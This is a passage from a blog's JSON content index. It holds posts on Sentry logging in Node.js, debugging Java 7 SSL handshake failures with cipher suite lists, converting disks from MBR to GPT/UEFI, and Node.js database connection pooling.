class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003euse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eraven\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eexpress\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eerrorHandler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esentry_dsn\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAll good uptil now, except that this setup logs only unhandled exceptions to Sentry. For sending manual log lines to Sentry, sentry recommends using \u003ccode\u003eclient.captureException(e)\u003c/code\u003e or \u003ccode\u003eclient.captureMessage(msg)\u003c/code\u003e as per these \u003ca href=\"http://expressjs.com/\"\u003edocs\u003c/a\u003e\u003c/p\u003e","title":"Integrate node.js logging with Sentry"},{"content":"Recently we faced an issue, where all are calls to a third party vendor were failing with following stack trace in Java\njavax.net.ssl.SSLHandshakeException: Received fatal alert: handshake_failure at sun.security.ssl.Alerts.getSSLException(Alerts.java:192) at sun.security.ssl.Alerts.getSSLException(Alerts.java:154) at sun.security.ssl.SSLSocketImpl.recvAlert(SSLSocketImpl.java:1979) at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:1086) at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1332) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1359) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1343) at org.apache.http.conn.ssl.SSLConnectionSocketFactory.createLayeredSocket(SSLConnectionSocketFactory.java:394) at org.apache.http.conn.ssl.SSLConnectionSocketFactory.connectSocket(SSLConnectionSocketFactory.java:353) at org.apache.http.impl.conn.DefaultHttpClientConnectionOperator.connect(DefaultHttpClientConnectionOperator.java:141) at org.apache.http.impl.conn.PoolingHttpClientConnectionManager.connect(PoolingHttpClientConnectionManager.java:353) at org.apache.http.impl.execchain.MainClientExec.establishRoute(MainClientExec.java:380) at org.apache.http.impl.execchain.MainClientExec.execute(MainClientExec.java:236) at org.apache.http.impl.execchain.ProtocolExec.execute(ProtocolExec.java:184) at org.apache.http.impl.execchain.RetryExec.execute(RetryExec.java:88) at org.apache.http.impl.execchain.RedirectExec.execute(RedirectExec.java:110) at org.apache.http.impl.client.InternalHttpClient.doExecute(InternalHttpClient.java:184) at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:82) at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:107) at HttpURLConnectionExample.sendGet1(HttpURLConnectionExample.java:83) at HttpURLConnectionExample.main(HttpURLConnectionExample.java:48) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:606) at com.intellij.rt.execution.application.AppMain.main(AppMain.java:144) [Raw read]: length = 5 As per the vendor, there was no issue with their site. Other partners were able to call their API\u0026rsquo;s successfully.\nThis is one of the peculiar problem which happens with Java 7, due to the mismatch of ciphers between Java 7 and the destination webserver.\nIn order to debug this in Java, we need to add the parameter -Djavax.net.debug=all to the command line. Through this command line, we get full debug output such as follows:\nmain, READ: TLSv1.2 Handshake, length = 333 *** ECDH ServerKeyExchange Signature Algorithm SHA512withRSA Server key: Sun EC public key, 256 bits public x coord: 52151221190485581151214316798815876713912665823307283797594930350231973293152 public y coord: 5451449004300784798879937097030816531206591013653597175688384253361719134656 parameters: secp256r1 [NIST P-256, X9.62 prime256v1] (1.2.840.10045.3.1.7) [read] MD5 and SHA1 hashes: len = 333 ... [Raw read]: length = 5 0000: 16 03 03 00 04 ..... [Raw read]: length = 4 0000: 0E 00 00 00 .... main, READ: TLSv1.2 Handshake, length = 4 *** ServerHelloDone [read] MD5 and SHA1 hashes: len = 4 0000: 0E 00 00 00 .... *** ECDHClientKeyExchange ECDH Public value: { 4, 247, 183, 127, 41, 28, 143, 49, 205, 39, 146, 57, 240, 102, 0, 53, 90, 244, 137, 176, 75, 192, 158, 138, 198, 115, 11, 101, 50, 2, 228, 254, 236, 211, 211, 208, 159, 105, 156, 135, 78, 234, 56, 97, 34, 209, 81, 216, 147, 185, 181, 67, 73, 84, 198, 4, 105, 61, 170, 131, 230, 115, 58, 207, 46 } [write] MD5 and SHA1 hashes: len = 70 0000: 10 00 00 42 41 04 F7 B7 7F 29 1C 8F 31 CD 27 92 ...BA....)..1.\u0026#39;. 0010: 39 F0 66 00 35 5A F4 89 B0 4B C0 9E 8A C6 73 0B 9.f.5Z...K....s. 0020: 65 32 02 E4 FE EC D3 D3 D0 9F 69 9C 87 4E EA 38 e2........i..N.8 0030: 61 22 D1 51 D8 93 B9 B5 43 49 54 C6 04 69 3D AA a\u0026#34;.Q....CIT..i=. 0040: 83 E6 73 3A CF 2E ..s:.. main, WRITE: TLSv1.2 Handshake, length = 70 [Raw write]: length = 75 ... ... no IV derived for this protocol main, WRITE: TLSv1.2 Change Cipher Spec, length = 1 [Raw write]: length = 6 0000: 14 03 03 00 01 01 ...... *** Finished verify_data: { 162, 89, 141, 227, 142, 139, 54, 27, 241, 56, 38, 145 } *** [write] MD5 and SHA1 hashes: len = 16 0000: 14 00 00 0C A2 59 8D E3 8E 8B 36 1B F1 38 26 91 .....Y....6..8\u0026amp;. Padded plaintext before ENCRYPTION: len = 64 0000: FD AD 67 A2 4D 09 37 F3 4F 7B 53 C5 D9 41 CA 17 ..g.M.7.O.S..A.. 0010: 14 00 00 0C A2 59 8D E3 8E 8B 36 1B F1 38 26 91 .....Y....6..8\u0026amp;. 0020: BF 2D 9D 66 AA EB 4C E6 4F 35 51 A2 F7 00 40 77 .-.f..L.O5Q...@w 0030: 2A EA 37 3E 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B *.7\u0026gt;............ main, WRITE: TLSv1.2 Handshake, length = 64 [Raw write]: length = 69 0000: 16 03 03 00 40 D3 7C 46 86 EE 71 97 63 10 93 8B ....@..F..q.c... 0010: 16 28 84 D4 72 CB 29 CA 65 FB 08 6E 5F C7 F2 83 .(..r.).e..n_... 0020: A7 45 5D 93 86 5B ED D7 AF A4 18 3A 6E AF 46 88 .E]..[.....:n.F. 0030: 83 0C 09 CC 01 5B BF 8D AB FD D9 6B 8C D1 E6 A6 .....[.....k.... 0040: AD 10 69 1D 81 ..i.. [Raw read]: length = 5 0000: 14 03 03 00 01 ..... [Raw read]: length = 1 0000: 01 . main, READ: TLSv1.2 Change Cipher Spec, length = 1 [Raw read]: length = 5 0000: 16 03 03 00 40 ....@ [Raw read]: length = 64 0000: 6C 21 89 CD 5E FF 76 BD 95 43 51 F1 E6 58 64 5C l!..^.v..CQ..Xd\\ 0010: 97 6D DB 98 3F 1C 25 3D 39 DF C6 D3 8C E1 E2 64 .m..?.%=9......d 0020: 18 BD 91 8A 7F B2 8E 78 82 F7 68 B2 3A 77 08 BE .......x..h.:w.. 0030: B8 2C 94 2D 06 EE 7B CB 40 86 FA 1A B1 9C 06 3F .,.-....@......? main, READ: TLSv1.2 Handshake, length = 64 Padded plaintext after DECRYPTION: len = 64 0000: 15 A8 6B 92 28 EB 61 3B 2A A0 BA 2F 0E D4 6D F5 ..k.(.a;*../..m. 0010: 14 00 00 0C 17 9E 44 19 42 D2 7F 29 74 7F 66 A8 ......D.B..)t.f. 0020: 36 A5 B7 2A 7B A7 D5 B6 DE F2 53 2B 15 E3 CA 5E 6..*......S+...^ 0030: 1A 3F 1D D5 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B .?.............. *** Finished verify_data: { 23, 158, 68, 25, 66, 210, 127, 41, 116, 127, 102, 168 } *** %% Cached client session: [Session-1, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA] [read] MD5 and SHA1 hashes: len = 16 0000: 14 00 00 0C 17 9E 44 19 42 D2 7F 29 74 7F 66 A8 ......D.B..)t.f. Unless you really know SSL protocol in detail, you won\u0026rsquo;t understand all of it. But atleast I am able to figure out the following:\nThe protocol in use is TLSv1.2 Cipher used was TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA The handshake was successfully completed Some of the secure webservers, will only support TLS v1.2 protocol and deny any request on SSLv3 or TSL v1 protocol.\nIf that is the case, this is easy to fix in Java by adding following command line parameters\nJAVACMD=\u0026quot;$JAVACMD -Ddeployment.security.SSLv2Hello=false -Ddeployment.security.SSLv3=false -Ddeployment.security.TLSv1=false -D\\ deployment.security.TLSv1.1=true -Ddeployment.security.TLSv1.2=true\u0026quot;\nor even this\n-Dhttps.protocols=TLSv1.1,TLSv1.2\nHowever, some of the webservers can force the clients to use very strong ciphers which are not available in Java 7. They are only available in Java 8.\nThe list of ciphers supported by SSL site can be found through https://www.ssllabs.com/index.html\nIn that case, You can download the JCE Unlimited Strength Jurisdiction Policy files for Java 7 from http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html and replace the two JARs (local_policy.jar, US_export_policy.jar) under your JRE\u0026rsquo;s lib/security directory with the ones from the downloaded package. This will add additional (stronger) ciphersuites and you should be able to connect without having to make any changes to your code or enable TLSv1.2.\nFor reference, here are the ciphersuites available in Java 7 (1.7.0_79):\nSSL_DH_anon_WITH_3DES_EDE_CBC_SHA SSL_DH_anon_WITH_DES_CBC_SHA SSL_DH_anon_WITH_RC4_128_MD5 SSL_RSA_EXPORT_WITH_DES40_CBC_SHA SSL_RSA_EXPORT_WITH_RC4_40_MD5 * SSL_RSA_WITH_3DES_EDE_CBC_SHA SSL_RSA_WITH_DES_CBC_SHA SSL_RSA_WITH_NULL_MD5 SSL_RSA_WITH_NULL_SHA * SSL_RSA_WITH_RC4_128_MD5 * SSL_RSA_WITH_RC4_128_SHA * TLS_DHE_DSS_WITH_AES_128_CBC_SHA * TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 * TLS_DHE_RSA_WITH_AES_128_CBC_SHA * TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 TLS_DH_anon_WITH_AES_128_CBC_SHA TLS_DH_anon_WITH_AES_128_CBC_SHA256 * TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA * TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_NULL_SHA * TLS_ECDHE_ECDSA_WITH_RC4_128_SHA * TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA * TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_NULL_SHA * TLS_ECDHE_RSA_WITH_RC4_128_SHA * TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA * TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDH_ECDSA_WITH_NULL_SHA * TLS_ECDH_ECDSA_WITH_RC4_128_SHA * TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDH_RSA_WITH_AES_128_CBC_SHA * TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDH_RSA_WITH_NULL_SHA * TLS_ECDH_RSA_WITH_RC4_128_SHA TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA TLS_ECDH_anon_WITH_AES_128_CBC_SHA TLS_ECDH_anon_WITH_NULL_SHA TLS_ECDH_anon_WITH_RC4_128_SHA * TLS_EMPTY_RENEGOTIATION_INFO_SCSV TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5 TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA TLS_KRB5_EXPORT_WITH_RC4_40_MD5 TLS_KRB5_EXPORT_WITH_RC4_40_SHA TLS_KRB5_WITH_3DES_EDE_CBC_MD5 TLS_KRB5_WITH_3DES_EDE_CBC_SHA TLS_KRB5_WITH_DES_CBC_MD5 TLS_KRB5_WITH_DES_CBC_SHA TLS_KRB5_WITH_RC4_128_MD5 TLS_KRB5_WITH_RC4_128_SHA * TLS_RSA_WITH_AES_128_CBC_SHA * TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_NULL_SHA256 and here are the ones after using the Unlimited Stringth Jurisdiction policy files:\nSSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA * SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA SSL_DHE_DSS_WITH_DES_CBC_SHA SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA * SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA SSL_DHE_RSA_WITH_DES_CBC_SHA SSL_DH_anon_EXPORT_WITH_DES40_CBC_SHA SSL_DH_anon_EXPORT_WITH_RC4_40_MD5 SSL_DH_anon_WITH_3DES_EDE_CBC_SHA SSL_DH_anon_WITH_DES_CBC_SHA SSL_DH_anon_WITH_RC4_128_MD5 SSL_RSA_EXPORT_WITH_DES40_CBC_SHA SSL_RSA_EXPORT_WITH_RC4_40_MD5 * SSL_RSA_WITH_3DES_EDE_CBC_SHA SSL_RSA_WITH_DES_CBC_SHA SSL_RSA_WITH_NULL_MD5 SSL_RSA_WITH_NULL_SHA * SSL_RSA_WITH_RC4_128_MD5 * SSL_RSA_WITH_RC4_128_SHA * TLS_DHE_DSS_WITH_AES_128_CBC_SHA * TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 * TLS_DHE_DSS_WITH_AES_256_CBC_SHA * TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 * TLS_DHE_RSA_WITH_AES_128_CBC_SHA * TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 * TLS_DHE_RSA_WITH_AES_256_CBC_SHA * TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 TLS_DH_anon_WITH_AES_128_CBC_SHA TLS_DH_anon_WITH_AES_128_CBC_SHA256 TLS_DH_anon_WITH_AES_256_CBC_SHA TLS_DH_anon_WITH_AES_256_CBC_SHA256 * TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA * TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 * TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA * TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_NULL_SHA * TLS_ECDHE_ECDSA_WITH_RC4_128_SHA * TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA * TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 * TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA * TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_NULL_SHA * TLS_ECDHE_RSA_WITH_RC4_128_SHA * TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA * TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 * TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA * TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDH_ECDSA_WITH_NULL_SHA * TLS_ECDH_ECDSA_WITH_RC4_128_SHA * TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA * TLS_ECDH_RSA_WITH_AES_128_CBC_SHA * TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 * TLS_ECDH_RSA_WITH_AES_256_CBC_SHA * TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDH_RSA_WITH_NULL_SHA * TLS_ECDH_RSA_WITH_RC4_128_SHA TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA TLS_ECDH_anon_WITH_AES_128_CBC_SHA TLS_ECDH_anon_WITH_AES_256_CBC_SHA TLS_ECDH_anon_WITH_NULL_SHA TLS_ECDH_anon_WITH_RC4_128_SHA * TLS_EMPTY_RENEGOTIATION_INFO_SCSV TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5 TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA TLS_KRB5_EXPORT_WITH_RC4_40_MD5 TLS_KRB5_EXPORT_WITH_RC4_40_SHA TLS_KRB5_WITH_3DES_EDE_CBC_MD5 TLS_KRB5_WITH_3DES_EDE_CBC_SHA TLS_KRB5_WITH_DES_CBC_MD5 TLS_KRB5_WITH_DES_CBC_SHA TLS_KRB5_WITH_RC4_128_MD5 TLS_KRB5_WITH_RC4_128_SHA * TLS_RSA_WITH_AES_128_CBC_SHA * TLS_RSA_WITH_AES_128_CBC_SHA256 * TLS_RSA_WITH_AES_256_CBC_SHA * TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_NULL_SHA256 Hope that helps anyone running into SSL issues with Java.\n","permalink":"https://madhur.co.in/blog/2016/10/30/debugging-ssl-issues-java.html","summary":"\u003cp\u003eRecently we faced an issue, where all are calls to a third party vendor were failing with following stack trace in Java\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ejavax.net.ssl.SSLHandshakeException: Received fatal alert: handshake_failure \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.security.ssl.Alerts.getSSLException(Alerts.java:192) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.security.ssl.Alerts.getSSLException(Alerts.java:154) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.security.ssl.SSLSocketImpl.recvAlert(SSLSocketImpl.java:1979) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:1086) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1332) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1359) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1343) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.conn.ssl.SSLConnectionSocketFactory.createLayeredSocket(SSLConnectionSocketFactory.java:394) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.conn.ssl.SSLConnectionSocketFactory.connectSocket(SSLConnectionSocketFactory.java:353) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.conn.DefaultHttpClientConnectionOperator.connect(DefaultHttpClientConnectionOperator.java:141) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.conn.PoolingHttpClientConnectionManager.connect(PoolingHttpClientConnectionManager.java:353) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.execchain.MainClientExec.establishRoute(MainClientExec.java:380) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.execchain.MainClientExec.execute(MainClientExec.java:236) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.execchain.ProtocolExec.execute(ProtocolExec.java:184) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.execchain.RetryExec.execute(RetryExec.java:88) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.execchain.RedirectExec.execute(RedirectExec.java:110) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.client.InternalHttpClient.doExecute(InternalHttpClient.java:184) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:82) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:107) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat HttpURLConnectionExample.sendGet1(HttpURLConnectionExample.java:83) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat HttpURLConnectionExample.main(HttpURLConnectionExample.java:48) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat java.lang.reflect.Method.invoke(Method.java:606) \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eat com.intellij.rt.execution.application.AppMain.main(AppMain.java:144) [Raw read]: length = 5 \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAs per the vendor, there was no issue with their site. Other partners were able to call their API\u0026rsquo;s successfully.\u003c/p\u003e","title":"Debugging SSL Issues in Java"},{"content":"This weekend, I converted all my 3 disks (2 HDD and 1 SSD) from a MBR based partition table to the newer one GPT. This was some work as I had to ensure that all my existing OSes ( Debian 8, Kali and Windows 10 ) run smoothlessly.\nI am sharing some of the lessons and solutions to problem I faced:\nMake sure you backup all importand data and have bootable ISO\u0026rsquo;s (USB or CDs) of Operating Systems you want up and running. I cannot stress this enough. While working with disk partition tables, things go wrong very easily and you will have an unbootable system very soon. This will be especially true if you are a tinkerer and like going deep into things. Having bootable USB drives will save you a lot of time. Use tools like unetbootin or familiarize your self with dd command to create this yourself.\nRead about UEFI. This is a very new standard with confusing information all over the internet. In a nutshell, it is nothing more than a partition with code ef00, but it is also a standard and a firmware.\nSome of these readings would help:\nhttps://en.wikipedia.org/wiki/EFI_system_partition\nhttps://wiki.archlinux.org/index.php/EFI_System_Partition\nhttps://msdn.microsoft.com/en-us/windows/hardware/commercialize/manufacture/desktop/configure-uefigpt-based-hard-drive-partitions\nhttp://superuser.com/questions/520068/efi-partition-vs-boot-partition\nhttps://wiki.debian.org/UEFI\nFirst make sure your BIOS supports UEFI. Most of the new BIOS do it but there are some quirks and each BIOS manufacturer is different. For example, in my case HDD boot order does not work for UEFI boot. I had to switch the SATA cables in my HDD to make sure GRUB is my primary bootloader. Also, when you enable UEFI in BIOS, you will get double entries for eash UEFI Boot enabled disk. (one for UEFI boot and other for normal boot). Don\u0026rsquo;t be alarmed by it, its normal.\nYou will need to do actual conversion of partition tables first. For this, best utility is combination of gdisk and gparted works best. Make sure you spend some time going through their commands. I created gparted live CD Do not do this conversion in Windows. How can I change/convert a Ubuntu MBR drive to a GPT, and make Ubuntu boot from EFI?\nIf you are using Windows, familiarize with bcdedit . It is a command line tool to work with Windows boot entries. I would not advise using tools like EasyBCD etc as they are too buggy. For linux, make sure you know mount and chroot very well, these commands are very handy and it saves a lot of time if you them in advance than looking up internet everytime.\nIt is also good to determine when your OS is booted up in UEFI mode vs legacy mode. For linux, this command works: cat /sys/firmware/efi , If this folder exists, the system is booted in UEFI mode. How can I tell if my system was booted as EFI/UEFI or BIOS?\nFor linux GRUB, you will need to install grub-efi-amd64 or grub-efi. Also remember to run update-grub after conversion. You might be also required to install the bootloader again using grub install /dev/sdX depending upon the situation. How to reinstall GRUB2 EFI?\nIf you are running debian based system, this article is gold Switch Debian 7 wheezy from legacy to UEFI boot mode\nMore references:\nWhat\u0026rsquo;s a GPT?\nBooting from GPT\nPartitioning Advice\nWindows 8 removes Grub as default boot manager\nA gdisk Walkthrough\n","permalink":"https://madhur.co.in/blog/2016/10/16/learning-moving-mbr-gpt-uefi.html","summary":"\u003cp\u003eThis weekend, I converted all my 3 disks (2 HDD and 1 SSD) from a \u003ca href=\"https://en.wikipedia.org/wiki/Master_boot_record\"\u003eMBR\u003c/a\u003e based partition table to the newer one \u003ca href=\"https://en.wikipedia.org/wiki/GUID_Partition_Table\"\u003eGPT\u003c/a\u003e. This was some work as I had to ensure that all my existing OSes ( \u003ca href=\"https://www.debian.org/\"\u003eDebian 8\u003c/a\u003e, \u003ca href=\"https://www.kali.org/\"\u003eKali\u003c/a\u003e and \u003ca href=\"https://www.microsoft.com/en-in/software-download/windows10ISO\"\u003eWindows 10\u003c/a\u003e ) run smoothlessly.\u003c/p\u003e\n\u003cp\u003eI am sharing some of the lessons and solutions to problem I faced:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eMake sure you backup all importand data and have bootable ISO\u0026rsquo;s (USB or CDs) of Operating Systems you want up and running. I cannot stress this enough. While working with disk partition tables, things go wrong very easily and you will have an unbootable system very soon. This will be especially true if you are a tinkerer and like going deep into things. Having bootable USB drives will save you a lot of time. Use tools like \u003ca href=\"https://unetbootin.github.io/\"\u003eunetbootin\u003c/a\u003e or familiarize your self with \u003ca href=\"https://en.wikipedia.org/wiki/Dd_(Unix)\"\u003edd command\u003c/a\u003e to create this yourself.\u003c/p\u003e","title":"Learnings from moving from MBR to GPT, multi-booting and random stuff"},{"content":"Node.js is popularly known for its asynchronous, non-blocking and event-driven I/O model and the scalability it can achieve in executing I/O bound operations.\nHowever, a developer must keep in mind that there are some things which can severely limit the scalability of the Node.js application. I have earlier already covered How DNS resolution is a blocking call in node and must be handled to achieve scalability\nIn this post, I am going to cover connection pooling. I have observed that connection pooling is a critical engineering decision which is easily ignored while developing node.js applications. While interacting with any external resource such as MySQL, PostgreSQL, Redis or MongoDB, each of it requires a connection pool for any sizeable node.js application.\nTo demonstrate this, I am going to compare two programs, one without pooling and one with pooling and a simple database query.\nI have this simple function which makes a call to database.\nfunction callback(){ process.exit(); } function hitQuery(callback) { var user_query = \u0026#34;select count(*) from user u, access_code uac, user_location_info uli where u.id = uac.user_id and u.id = uli.user_id\u0026#34; connection.query(user_query, function(err, rows, fields) { if (err) throw err; if (rows.length == 0) { console.log(\u0026#34;No device token found for user: \u0026#34; + 16182); callback(null, null); } else { var deviceToken = rows[0][\u0026#39;device_token\u0026#39;]; callback(null, rows[0]); } }); } hitQuery(callback); If I execute this and time it, it takes an average of 1.5 - 2 seconds\n$ time node paralleltest.js real\t0m1.756s user\t0m0.159s sys\t0m0.017s Lets, now run multiple of such queries in series first. I slightly change my program to this version:\nasync.series([function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); } ], function done(err, results) { console.log(results); process.exit() }); When I execute this version where I am making 5 calls in series, I get an average of 8 - 9 seconds\n$ time node paralleltest.js real\t0m8.579s user\t0m0.178s sys\t0m0.019s Lets make this to parallel now, common sense says that the wall clock time should be much faster in case of parallel.\nasync.parallel([function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); }, function(callback) { hitQuery(callback); } ], function done(err, results) { console.log(results); process.exit() }); Now, If I time this verison, where I am making 5 calls in parallel.\n$ time node paralleltest.js real\t0m8.168s user\t0m0.165s sys\t0m0.018s I still get the almost same wall time clock. If you closely observe the time output, the 